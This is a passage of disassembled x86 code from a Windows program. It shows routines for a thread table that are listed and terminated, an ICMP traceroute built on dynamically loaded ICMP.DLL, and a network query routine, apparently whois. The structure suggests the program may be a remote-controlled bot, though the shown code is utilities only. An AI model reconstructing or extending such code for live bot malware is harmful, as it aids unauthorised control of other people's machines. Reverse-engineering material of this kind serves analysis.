loc_4099F9:				; CODE XREF: sub_4098F3+F7j
		cmp	[ebp+var_198], 10h
		jnb	loc_409AC8
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	loc_409AC3
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_194]
		push	eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409ABB
		mov	eax, ds:dword_41E3C0
		dec	eax
		mov	ds:dword_41E3C0, eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_19C], eax
		push	198h
		push	0
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_19C]
		call	ds:dword_4170E0	; TerminateThread
		push	[ebp+var_19C]
		call	ds:dword_4170A4	; CloseHandle


loc_409ABB:				; CODE XREF: sub_4098F3+161j
		cmp	[ebp+var_C], 0
		jnz	short loc_409AC3
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------


loc_409AC3:				; CODE XREF: sub_4098F3+12Aj
					; sub_4098F3+1CCj
		jmp	loc_4099EC
; ---------------------------------------------------------------------------


loc_409AC8:				; CODE XREF: sub_4098F3+10Dj
					; sub_4098F3+1CEj
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx

locret_409AD3:				; CODE XREF: sub_4098F3+Fj
					; sub_4098F3+BCj
		leave
		retn
sub_4098F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD5	proc near		; DATA XREF: sub_409BF1+2Ao

var_1A8		= byte ptr -1A8h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	1A3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		cmp	ds:dword_41E3C0, 0
		jz	short loc_409B25
		push	10h
		push	ds:dword_41E3C0
		push	offset dword_4194EC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_409B3F
; ---------------------------------------------------------------------------


loc_409B25:				; CODE XREF: sub_409AD5+30j
		push	offset dword_4194CC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	locret_409BED
; ---------------------------------------------------------------------------


loc_409B3F:				; CODE XREF: sub_409AD5+4Ej
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		and	[ebp+var_10], 0
		and	[ebp+var_4], 0
		jmp	short loc_409B5B
; ---------------------------------------------------------------------------


loc_409B54:				; CODE XREF: sub_409AD5:loc_409BDBj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_409B5B:				; CODE XREF: sub_409AD5+7Dj
		cmp	[ebp+var_4], 10h
		jge	short loc_409BE0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409BDB
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		lea	eax, [ecx+eax+14h]
		push	eax
		push	[ebp+var_4]
		push	offset dword_4194BC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		cmp	dword ptr [ecx+eax+4], 0
		jz	short loc_409BDB
		jmp	short loc_409BE0
; ---------------------------------------------------------------------------


loc_409BDB:				; CODE XREF: sub_409AD5+A0j
					; sub_409AD5+102j
		jmp	loc_409B54
; ---------------------------------------------------------------------------


loc_409BE0:				; CODE XREF: sub_409AD5+8Aj
					; sub_409AD5+104j
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax

locret_409BED:				; CODE XREF: sub_409AD5+65j
		leave
		retn	4
sub_409AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BF1	proc near		; CODE XREF: sub_40A9CF+AFBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_409C0B
		jmp	short locret_409C34
; ---------------------------------------------------------------------------


loc_409C0B:				; CODE XREF: sub_409BF1+16j
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	offset sub_409AD5
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short locret_409C34
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx

locret_409C34:				; CODE XREF: sub_409BF1+18j
					; sub_409BF1+38j
		leave
		retn
sub_409BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C36	proc near		; CODE XREF: sub_405FA3+9p
					; sub_40938F+1Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	18h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	ds:dword_41DF10, 0
		jz	short loc_409C61
		push	80000400h
		push	[ebp+arg_0]
		call	ds:dword_41DF10	; InitializeCriticalSectionAndSpinCount
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------


loc_409C61:				; CODE XREF: sub_409C36+19j
		push	[ebp+arg_0]
		call	ds:dword_4170E4	; InitializeCriticalSection


loc_409C6A:				; CODE XREF: sub_409C36+29j
		pop	ebp
		retn
sub_409C36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6C	proc near		; CODE XREF: sub_406041+10p
					; sub_4095A4+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	ds:dword_4170EC	; RtlEnterCriticalSection
		pop	ebp
		retn
sub_409C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C7A	proc near		; CODE XREF: sub_406041+26p
					; sub_406041+307p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	ds:dword_41710C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_409C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C88	proc near		; CODE XREF: sub_40332B+10p
					; sub_41113B+7EDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C9D	proc near		; CODE XREF: sub_4042FB+17p
					; sub_4042FB+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CB1	proc near		; CODE XREF: sub_409DD0+202p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		call	ds:dword_41E3CC
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_409CD8
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_409DCE
; ---------------------------------------------------------------------------


loc_409CD8:				; CODE XREF: sub_409CB1+13j
		push	8
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	al, [ebp+arg_8]
		mov	[ebp+var_18], al
		movzx	eax, [ebp+arg_10]
		push	eax
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_10]
		push	eax
		push	45h
		push	[ebp+var_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		movzx	eax, [ebp+arg_10]
		cmp	eax, 8
		jge	short loc_409D26
		mov	[ebp+var_38], 8
		jmp	short loc_409D2D
; ---------------------------------------------------------------------------


loc_409D26:				; CODE XREF: sub_409CB1+6Aj
		movzx	eax, [ebp+arg_10]
		mov	[ebp+var_38], eax


loc_409D2D:				; CODE XREF: sub_409CB1+73j
		mov	eax, [ebp+var_38]
		add	eax, 1Ch
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+var_24]
		push	[ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	ds:dword_41E3D8
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], 1
		cmp	[ebp+var_20], 1
		jz	short loc_409D8D
		call	ds:dword_417064	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_409DA4
; ---------------------------------------------------------------------------


loc_409D8D:				; CODE XREF: sub_409CB1+CDj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	[eax+8], ecx


loc_409DA4:				; CODE XREF: sub_409CB1+DAj
		push	[ebp+var_1C]
		call	ds:dword_41E3D4
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_8]

locret_409DCE:				; CODE XREF: sub_409CB1+22j
		leave
		retn
sub_409CB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DD0	proc near		; DATA XREF: sub_40A1A7+FDo

var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_10D		= byte ptr -10Dh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2F0h
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, ds:byte_41E3E0
		test	eax, eax
		jnz	short loc_409E6D
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	ds:dword_417054	; LoadLibraryA
		mov	ds:dword_41E3D0, eax
		cmp	ds:dword_41E3D0, 0
		jnz	short loc_409E24
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E24:				; CODE XREF: sub_409DD0+4Bj
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	ds:dword_41E3D0
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41E3CC, eax
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	ds:dword_41E3D0
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41E3D8, eax
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	ds:dword_41E3D0
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41E3D4, eax
		mov	ds:byte_41E3E0,	1


loc_409E6D:				; CODE XREF: sub_409DD0+32j
		cmp	ds:dword_41E3CC, 0
		jnz	short loc_409E7D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E7D:				; CODE XREF: sub_409DD0+A4j
		cmp	ds:dword_41E3D8, 0
		jnz	short loc_409E8D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E8D:				; CODE XREF: sub_409DD0+B4j
		cmp	ds:dword_41E3D4, 0
		jnz	short loc_409E9D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E9D:				; CODE XREF: sub_409DD0+C4j
		lea	eax, [ebp+var_10D]
		mov	[ebp+var_2B8], eax
		push	[ebp+var_2B8]
		call	ds:dword_417244	; inet_addr
		mov	[ebp+var_2BC], eax
		cmp	[ebp+var_2BC], 0FFFFFFFFh
		jnz	short loc_409F18
		push	[ebp+var_2B8]
		call	ds:dword_41723C	; gethostbyname
		mov	[ebp+var_2C0], eax
		cmp	[ebp+var_2C0], 0
		jz	short loc_409F06
		mov	eax, [ebp+var_2C0]
		movsx	eax, word ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+var_2C0]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_409F18
; ---------------------------------------------------------------------------


loc_409F06:				; CODE XREF: sub_409DD0+10Dj
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409F18:				; CODE XREF: sub_409DD0+F2j
					; sub_409DD0+134j
		and	[ebp+var_4], 0
		mov	byte ptr [ebp+var_2B4],	1
		jmp	short loc_409F33
; ---------------------------------------------------------------------------


loc_409F25:				; CODE XREF: sub_409DD0:loc_40A19Cj
		mov	al, byte ptr [ebp+var_2B4]
		add	al, 1
		mov	byte ptr [ebp+var_2B4],	al


loc_409F33:				; CODE XREF: sub_409DD0+153j
		movzx	eax, byte ptr [ebp+var_2B4]
		movzx	ecx, [ebp+var_D]
		cmp	eax, ecx
		jg	loc_40A1A1
		cmp	[ebp+var_4], 0
		jnz	loc_40A1A1
		and	[ebp+var_2EC], 0
		or	[ebp+var_2E4], 0FFFFFFFFh
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0
		and	[ebp+var_2D0], 0
		and	[ebp+var_2C8], 0
		and	[ebp+var_2CC], 0
		and	[ebp+var_2D8], 0
		and	[ebp+var_2D4], 0
		jmp	short loc_409F9E
; ---------------------------------------------------------------------------


loc_409F91:				; CODE XREF: sub_409DD0:loc_40A04Ej
		mov	eax, [ebp+var_2D4]
		inc	eax
		mov	[ebp+var_2D4], eax


loc_409F9E:				; CODE XREF: sub_409DD0+1BFj
		mov	eax, [ebp+var_2D4]
		cmp	eax, [ebp+var_8]
		jnb	loc_40A053
		cmp	[ebp+var_2D8], 0
		jnz	loc_40A053
		push	20h
		push	[ebp+var_C]
		push	[ebp+var_2B4]
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2BC]
		call	sub_409CB1
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A047
		cmp	[ebp+var_2CC], 0
		jnz	short loc_40A02F
		mov	eax, [ebp+var_2D0]
		add	eax, [ebp+var_2C4]
		mov	[ebp+var_2D0], eax
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2E4]
		jnb	short loc_40A013
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2E4], eax


loc_40A013:				; CODE XREF: sub_409DD0+235j
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2DC]
		jbe	short loc_40A02D
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax


loc_40A02D:				; CODE XREF: sub_409DD0+24Fj
		jmp	short loc_40A045
; ---------------------------------------------------------------------------


loc_40A02F:				; CODE XREF: sub_409DD0+215j
		mov	eax, [ebp+var_2CC]
		mov	[ebp+var_2EC], eax
		mov	[ebp+var_2D8], 1


loc_40A045:				; CODE XREF: sub_409DD0:loc_40A02Dj
		jmp	short loc_40A04E
; ---------------------------------------------------------------------------


loc_40A047:				; CODE XREF: sub_409DD0+20Cj
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_40A04E:				; CODE XREF: sub_409DD0:loc_40A045j
		jmp	loc_409F91
; ---------------------------------------------------------------------------


loc_40A053:				; CODE XREF: sub_409DD0+1D7j
					; sub_409DD0+1E4j
		mov	eax, [ebp+var_2C8]
		mov	[ebp+var_2E8], eax
		cmp	[ebp+var_2EC], 0
		jnz	short loc_40A07B
		mov	eax, [ebp+var_2D0]
		xor	edx, edx
		div	[ebp+var_8]
		mov	[ebp+var_2E0], eax
		jmp	short loc_40A090
; ---------------------------------------------------------------------------


loc_40A07B:				; CODE XREF: sub_409DD0+296j
		and	[ebp+var_2E4], 0
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0


loc_40A090:				; CODE XREF: sub_409DD0+2A9j
		cmp	[ebp+var_2EC], 0
		jnz	loc_40A165
		push	2
		push	4
		lea	eax, [ebp+var_2E8]
		push	eax
		call	ds:dword_417220	; gethostbyaddr
		mov	[ebp+var_2F0], eax
		cmp	[ebp+var_2F0], 0
		jz	short loc_40A115
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		mov	eax, [ebp+var_2F0]
		push	dword ptr [eax]
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419594
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 2Ch
		jmp	short loc_40A163
; ---------------------------------------------------------------------------


loc_40A115:				; CODE XREF: sub_409DD0+2EBj
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419568
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 28h


loc_40A163:				; CODE XREF: sub_409DD0+343j
		jmp	short loc_40A187
; ---------------------------------------------------------------------------


loc_40A165:				; CODE XREF: sub_409DD0+2C7j
		push	[ebp+var_2EC]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419540
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40A187:				; CODE XREF: sub_409DD0:loc_40A163j
		mov	eax, [ebp+var_2BC]
		cmp	eax, [ebp+var_2E8]
		jnz	short loc_40A19C
		mov	[ebp+var_4], 1


loc_40A19C:				; CODE XREF: sub_409DD0+3C3j
		jmp	loc_409F25
; ---------------------------------------------------------------------------


loc_40A1A1:				; CODE XREF: sub_409DD0+170j
					; sub_409DD0+17Aj
		xor	eax, eax

locret_40A1A3:				; CODE XREF: sub_409DD0+4Fj
					; sub_409DD0+A8j ...
		leave
		retn	4
sub_409DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1A7	proc near		; CODE XREF: sub_40A9CF+FAEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A1C7
		push	offset unk_419618
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1C7:				; CODE XREF: sub_40A1A7+Aj
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A1E0
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1E0:				; CODE XREF: sub_40A1A7+32j
		push	1A3h
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A3h
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 0FFh
		jg	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_40A231
; ---------------------------------------------------------------------------


loc_40A22A:				; CODE XREF: sub_40A1A7+63j
					; sub_40A1A7+73j
		mov	[ebp+var_10], 1Eh


loc_40A231:				; CODE XREF: sub_40A1A7+81j
		mov	eax, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_10]
		mov	[eax+2A3h], cl
		cmp	[ebp+arg_C], 0
		jz	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 927C0h
		jg	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_40A268
; ---------------------------------------------------------------------------


loc_40A261:				; CODE XREF: sub_40A1A7+9Aj
					; sub_40A1A7+AAj
		mov	[ebp+var_14], 7530h


loc_40A268:				; CODE XREF: sub_40A1A7+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_14]
		mov	[eax+2A4h], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_40A288
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_40A28F
; ---------------------------------------------------------------------------


loc_40A288:				; CODE XREF: sub_40A1A7+D1j
		mov	[ebp+var_18], 3


loc_40A28F:				; CODE XREF: sub_40A1A7+DFj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[eax+2A8h], ecx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_4]
		push	offset sub_409DD0
		push	0
		push	0
		call	ds:dword_4170B4	; CreateThread
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A2C7
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A2C7:				; CODE XREF: sub_40A1A7+113j
		push	[ebp+var_8]
		call	ds:dword_4170A4	; CloseHandle

locret_40A2D0:				; CODE XREF: sub_40A1A7+1Bj
					; sub_40A1A7+34j ...
		leave
		retn
sub_40A1A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2D2	proc near		; CODE XREF: sub_40A4A4+30p

var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= byte ptr -1114h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 111Ch
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset dword_41966C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	2710h
		push	0
		push	offset dword_419668
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A339
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A339:				; CODE XREF: sub_40A2D2+5Ej
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	offset dword_419660
		lea	eax, [ebp+var_114]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A38F
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A38F:				; CODE XREF: sub_40A2D2+ABj
		push	1000h
		lea	eax, [ebp+var_1114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_40A3B5
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_40A3C5


loc_40A3B5:				; CODE XREF: sub_40A2D2+DBj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A3C5:				; CODE XREF: sub_40A2D2+E1j
		lea	eax, [ebp+var_1114]
		mov	[ebp+var_10], eax


loc_40A3CE:				; CODE XREF: sub_40A2D2:loc_40A492j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_111C],	eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A3E9
		jmp	loc_40A497
; ---------------------------------------------------------------------------


loc_40A3E9:				; CODE XREF: sub_40A2D2+110j
		push	[ebp+var_111C]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40A41B
		push	offset dword_418F4C
		push	[ebp+var_111C]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40A442


loc_40A41B:				; CODE XREF: sub_40A2D2+131j
		mov	eax, [ebp+var_111C]
		lea	ecx, [ebp+var_1114]
		cmp	eax, ecx
		jz	short loc_40A440
		push	offset dword_41965C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A440:				; CODE XREF: sub_40A2D2+157j
		jmp	short loc_40A458
; ---------------------------------------------------------------------------


loc_40A442:				; CODE XREF: sub_40A2D2+147j
		push	[ebp+var_111C]
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A458:				; CODE XREF: sub_40A2D2:loc_40A440j
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_1118],	eax
